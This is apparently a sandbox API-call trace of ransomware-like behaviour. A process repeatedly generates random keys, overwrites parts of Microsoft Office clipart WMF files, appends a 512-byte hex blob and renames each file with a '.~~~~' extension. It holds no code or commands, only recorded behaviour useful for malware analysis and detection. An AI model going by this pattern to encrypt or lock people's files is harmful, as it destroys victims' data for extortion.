	[0091.893] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.893] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.894] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.894] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.894] CloseHandle (hObject=0x124) returned 1
	[0091.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.894] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.~~~~")) returned 1
	[0091.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.895] GetLastError () returned 0x0
	[0091.895] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.896] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.896] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.897] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21188672403) returned 1
	[0091.897] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa08dd610, dwHighDateTime=0x1d60e1e)) 
	[0091.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387530
	[0091.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387530 | out: hHeap=0x300000) returned 1
	[0091.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389378
	[0091.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.897] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.897] GetLastError () returned 0x0
	[0091.898] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.898] GetLastError () returned 0x0
	[0091.902] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff040, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.902] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0xfc0, lpOverlapped=0x0) returned 1
	[0091.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.903] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.903] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.903] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.904] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.904] CloseHandle (hObject=0x124) returned 1
	[0091.904] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.904] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.~~~~")) returned 1
	[0091.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.905] GetLastError () returned 0x0
	[0091.905] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.906] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.906] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.906] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21189640783) returned 1
	[0091.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa08dd610, dwHighDateTime=0x1d60e1e)) 
	[0091.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a93b0
	[0091.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a93b0 | out: hHeap=0x300000) returned 1
	[0091.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.907] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389410
	[0091.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.907] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.907] GetLastError () returned 0x0
	[0091.907] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.907] GetLastError () returned 0x0
	[0091.909] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffef0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.909] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x10f4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x10f4, lpOverlapped=0x0) returned 1
	[0091.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.910] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.910] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.910] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.910] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.910] CloseHandle (hObject=0x124) returned 1
	[0091.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.~~~~")) returned 1
	[0091.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.911] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.911] GetLastError () returned 0x0
	[0091.911] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.912] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.912] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.913] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21190276755) returned 1
	[0091.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa0903770, dwHighDateTime=0x1d60e1e)) 
	[0091.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a93e8
	[0091.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a93e8 | out: hHeap=0x300000) returned 1
	[0091.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0e88
	[0091.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3894a8
	[0091.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.913] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.913] GetLastError () returned 0x0
	[0091.914] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.914] GetLastError () returned 0x0
	[0091.939] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe454, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.940] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1bac, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1bac, lpOverlapped=0x0) returned 1
	[0091.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.941] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.941] WriteFile (in: hFile=0x124, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.941] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.941] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.941] CloseHandle (hObject=0x124) returned 1
	[0091.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.973] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.~~~~")) returned 1
	[0091.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.981] GetLastError () returned 0x0
	[0091.981] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.982] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.982] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.982] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21197258115) returned 1
	[0091.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa099bcf0, dwHighDateTime=0x1d60e1e)) 
	[0091.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387648
	[0091.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387648 | out: hHeap=0x300000) returned 1
	[0091.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389540
	[0091.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.983] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.983] GetLastError () returned 0x0
	[0091.983] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.983] GetLastError () returned 0x0
	[0091.987] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc242, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.987] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3dbe, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x3dbe, lpOverlapped=0x0) returned 1
	[0091.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.988] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.988] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.989] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.989] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.989] CloseHandle (hObject=0x128) returned 1
	[0091.989] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0091.989] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.~~~~")) returned 1
	[0091.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0091.990] GetLastError () returned 0x0
	[0091.990] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0091.991] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.991] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0091.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0091.991] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21198142714) returned 1
	[0091.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa09c1e50, dwHighDateTime=0x1d60e1e)) 
	[0091.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0091.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0091.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387680
	[0091.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387680 | out: hHeap=0x300000) returned 1
	[0091.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0091.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389a00
	[0091.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0091.992] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0091.992] GetLastError () returned 0x0
	[0091.992] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.992] GetLastError () returned 0x0
	[0091.994] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe880, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.995] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1780, lpOverlapped=0x0) returned 1
